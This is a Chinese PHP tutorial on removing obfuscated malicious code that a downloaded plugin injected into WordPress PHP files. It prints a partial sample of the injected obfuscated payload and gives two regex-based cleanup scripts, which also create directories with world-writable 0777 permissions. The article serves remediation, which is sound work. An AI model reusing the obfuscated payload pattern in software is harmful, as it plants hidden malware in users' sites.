PHP实现清除wordpress里恶意代码_php教程-查字典教程网
PHP实现清除wordpress里恶意代码
PHP实现清除wordpress里恶意代码
发布时间:2016-12-29 来源:查字典编辑
摘要:公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。恶意代码示...

公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。

恶意代码示例

复制代码 代码如下:

<?php if(!isset($GLOBALS["x61156x75156x61"])) { $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]); if ((! strstr($ua,"x6d163x69145")) and (! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?><?php $bssaiikhvn = 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$wzmdmzzyol = explode(chr((176-132)),'7239,44,5287,69,1871,39,5903,37,1727,36,2772,60,2055,59,48,57,9678,48,9945,68,3362,48,2527,64,5005,39,3740,40,1289,53,2884,49,5753,63,6161,62,3898,52,7746,48,1132,62,7619,64,4407,30,4922,29,5848,22,105,65,3106,69,6337,30,6099,62,9351,27,5113,49,3552,22,470,29,3971,58,8590,38,9601,42,6586,65,9237,70,7433,37,2667,30,4752,55,7353,42,4098,40,815,38,9529,48,2933,31,2337,56,499,33,6523,63,6651,46,3950,21,4310,40,793,22,3837,61,3175,61,9888,57,4664,50,880,68,9307,44,3410,55,5517,43,4621,43,8371,61,4270,40,755,38,8045,37,1679,48,532,63,8217,62,3640,51,2223,25,3780,57,2160,37,5227,60,9577,24,4865,57,1910,29,8923,48,2503,24,1601,31,335,58,6420,24,3236,35,2591,51,3465,64,9047,55,7470,64,8279,51,9858,30,7891,69,6967,57,3529,23,8689,40,7960,33,2964,23,2987,46,5634,56,6267,70,8545,45,3302,60,8870,53,4201,43,3574,66,853,27,1071,61,225,56,4138,63,2832,52,4537,29,6470,23,8432,46,6055,44,1632,47,6921,46,2308,29,1030,41,8162,30,7993,52,7192,47,2114,46,2393,67,7024,30,4437,41,9017,30,9171,66,4951,54,6493,30,5988,67,8192,25,9378,52,717,38,8141,21,8628,61,6754,48,2197,26,7395,38,5356,58,595,22,1546,29,2007,48,1447,31,4566,55,2460,43,6223,44,1352,42,8799,23,948,50,4714,38,1478,68,3073,33,1575,26,4509,28,2724,48,9484,45,998,32,5591,43,10037,69,5816,32,7534,29,6444,26,5162,65,7683,63,4478,31,8082,59,170,55,7836,55,4843,22,8330,41,1394,53,3691,49,6367,53,4350,57,9643,35,2697,27,8822,48,1835,36,1221,68,8478,67,9816,42,6802,28,5560,31,3271,31,5414,68,4029,30,281,54,418,52,7076,55,5940,48,2248,60,4244,26,4059,39,9726,39,7054,22,8759,40,6870,51,1939,68,9430,54,7563,56,6697,57,3033,40,8971,46,7794,42,9102,69,683,34,5870,33,8729,30,617,66,7131,39,5482,35,9765,51,5044,69,4807,36,2642,25,7283,70,6830,40,393,25,1806,29,7170,22,1763,43,1194,27,10013,24,0,48,5690,63,1342,10'); $yhjbllsvwt=substr($bssaiikhvn,(33905-23799),(41-34)); if (!function_exists('bggbbjvwgq')) { function bggbbjvwgq($vawbzzfouj, $wiijrfgknq) { $goicwhrdcc = NULL; for($ipzagsxozk=0;$ipzagsxozk<(sizeof($vawbzzfouj)/2);$ipzagsxozk++) { $goicwhrdcc .= substr($wiijrfgknq, $vawbzzfouj[($ipzagsxozk*2)],$vawbzzfouj[($ipzagsxozk*2)+1]); } return $goicwhrdcc; };} $urvbwkljhb="x2057x2a40x67150x6a145x73165x77166x7a146x2052x2f40x65166x61154x28163x74162x5f162x65160x6c141x63145x28143x68162x2850x3167x3555x3163x3851x2954x20143x68162x2850x3567x3255x3470x3051x2954x20142x67147x62142x6a166x77147x7150x24167x7a155x64155x7a172x79157x6c54x24142x73163x61151x69153x68166x6e51x2951x3b40x2f52x20153x6d151x73166x7a161x63153x6840x2a57x20"; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?>

恶意代码清理程序

<?php /** * 文件名:delUnwantedCode.php * 功能:删除FTP里恶意代码 * 使用说明: * 请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份 */ $path = dirname(__FILE__); #定义需要处理的目录 $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录 $fileType = array('php'); #定义需要处理的文件类型(后缀名),小写 $search = array('@<?phps*if(!isset($GLOBALS["x61156x75156x61"])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si'); #定义需要过滤的恶意代码规则 $search_count = array( 'all_file'=>array(), #所有文件 'search_file0'=>array(), #没有恶意代码文件 'search_file1'=>array() #含有恶意代码文件 ); $filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表 if(!empty($filelist)){ foreach ($filelist as $file){ $file = (isset($file['name'])?$file['name']:$file); $search_count['all_file'][] = $file; $fileContent = file_get_contents($file); $compile_fileContent = preg_replace($search, '', $fileContent); if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){ #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤) $search_count['search_file1'][] = $file; ############备份原有文件 开始############### $bakFile = str_replace($path, $bak_path, $file); @make_dir(dirname($bakFile)); @file_put_contents($bakFile, $fileContent); ############备份原有文件 结束############### #重新写入过滤后的内容到原有的PHP文件 @file_put_contents($file, $compile_fileContent); }else{ $search_count['search_file0'][] = $file; } } } #print_r($search_count);die; echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码,已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die; ######################## ## 辅助函数 ######################## /** * 检查目标文件夹是否存在,如果不存在则自动创建该目录 * * @access public * @param string folder 目录路径。不能使用相对于网站根目录的URL * * @return bool */ function make_dir($folder){ $reval = false; if (!file_exists($folder)){ #如果目录不存在则尝试创建该目录 @umask(0); #将目录路径拆分成数组 preg_match_all('/([^/]*)/?/i', $folder, $atmp); #如果第一个字符为/则当作物理路径处理 $base = ($atmp[0][0] == '/') ? '/' : ''; #遍历包含路径信息的数组 foreach ($atmp[1] AS $val){ if ('' != $val){ $base .= $val; if ('..' == $val || '.' == $val){ #如果目录为.或者..则直接补/继续下一个循环 $base .= '/'; continue; } }else{ continue; } $base .= '/'; if (!file_exists($base)){ #尝试创建目录,如果创建失败则继续循环 if (@mkdir(rtrim($base, '/'), 0777)){ @chmod($base, 0777); $reval = true; } } } }else{ #路径已经存在。返回该路径是不是一个目录 $reval = is_dir($folder); } clearstatcache(); return $reval; } ########获取目录下所有文件,包括子目录 开始################ function listDir($path,$fileType=array(),$fileInfo=true){ $path = str_replace(array('/',''), DIRECTORY_SEPARATOR, $path); if(!file_exists($path)||!is_dir($path)){ return ''; } if(substr($path, -1,1)==DIRECTORY_SEPARATOR){ $path = substr($path, 0,-1); } $dirList=array(); $dir=opendir($path); while($file=readdir($dir)){ #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过 if($file!=='.'&&$file!=='..'){ $file = $path.DIRECTORY_SEPARATOR.$file; if(is_dir($file)){ if(empty($fileType)){ $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file); } $dirList = array_merge($dirList,listDir($file,$fileType)); }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){ $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file); } }; }; closedir($dir); return $dirList; } ########获取目录下所有文件,包括子目录 结束################

删除FTP里恶意代码(支持任意数量的文件处理)

<?php /** * 文件名:delAllUnwantedCode.php * 功能:删除FTP里恶意代码(支持任意数量的文件处理) * 使用说明: * 请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份 */ set_time_limit(0);ignore_user_abort(true); $path = dirname(__FILE__); #定义需要处理的目录 $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录 $fileType = array('php'); #定义需要处理的文件类型(后缀名),小写 $search = array('@<?phps*if(!isset($GLOBALS["x61156x75156x61"])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si'); #定义需要过滤的恶意代码规则 $file_count = array( 'all_file'=>0, #所有文件 'filter_file'=>0 #含有恶意代码文件 ); replaceUnwantedCode($path); #执行过滤 #print_r($search_count);die; echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码已清理,原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die; function replaceUnwantedCode($path){ global $bak_path,$fileType,$search,$file_count; $path = str_replace(array('/',''), DIRECTORY_SEPARATOR, $path); if(!file_exists($path)||!is_dir($path)){ return ''; } if(substr($path, -1,1)==DIRECTORY_SEPARATOR){ $path = substr($path, 0,-1); } $dir=opendir($path); while($file=readdir($dir)){ #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过 if($file!=='.'&&$file!=='..'){ $file = $path.DIRECTORY_SEPARATOR.$file; if(is_dir($file)){ replaceUnwantedCode($file); }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){ ################################ @$file_count['all_file']++; $fileContent = file_get_contents($file); #文件原始代码 $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容 if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){ #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤) $file_count['filter_file']++; ############备份原有文件 开始############### $bakFile = str_replace($path, $bak_path, $file); @make_dir(dirname($bakFile)); @file_put_contents($bakFile, $fileContent); ############备份原有文件 结束############### #重新写入过滤后的内容到原有的PHP文件 @file_put_contents($file, $compile_fileContent); } ################################ unset($fileContent,$compile_fileContent); } }; }; closedir($dir); return true; } ######################## ## 辅助函数 ######################## /** * 检查目标文件夹是否存在,如果不存在则自动创建该目录 * * @access public * @param string folder 目录路径。不能使用相对于网站根目录的URL * * @return bool */ function make_dir($folder){ $reval = false; if (!file_exists($folder)){ #如果目录不存在则尝试创建该目录 @umask(0); #将目录路径拆分成数组 preg_match_all('/([^/]*)/?/i', $folder, $atmp); #如果第一个字符为/则当作物理路径处理 $base = ($atmp[0][0] == '/') ? '/' : ''; #遍历包含路径信息的数组 foreach ($atmp[1] AS $val){ if ('' != $val){ $base .= $val; if ('..' == $val || '.' == $val){ #如果目录为.或者..则直接补/继续下一个循环 $base .= '/'; continue; } }else{ continue; } $base .= '/'; if (!file_exists($base)){ #尝试创建目录,如果创建失败则继续循环 if (@mkdir(rtrim($base, '/'), 0777)){ @chmod($base, 0777); $reval = true; } } } }else{ #路径已经存在。返回该路径是不是一个目录 $reval = is_dir($folder); } clearstatcache(); return $reval; }

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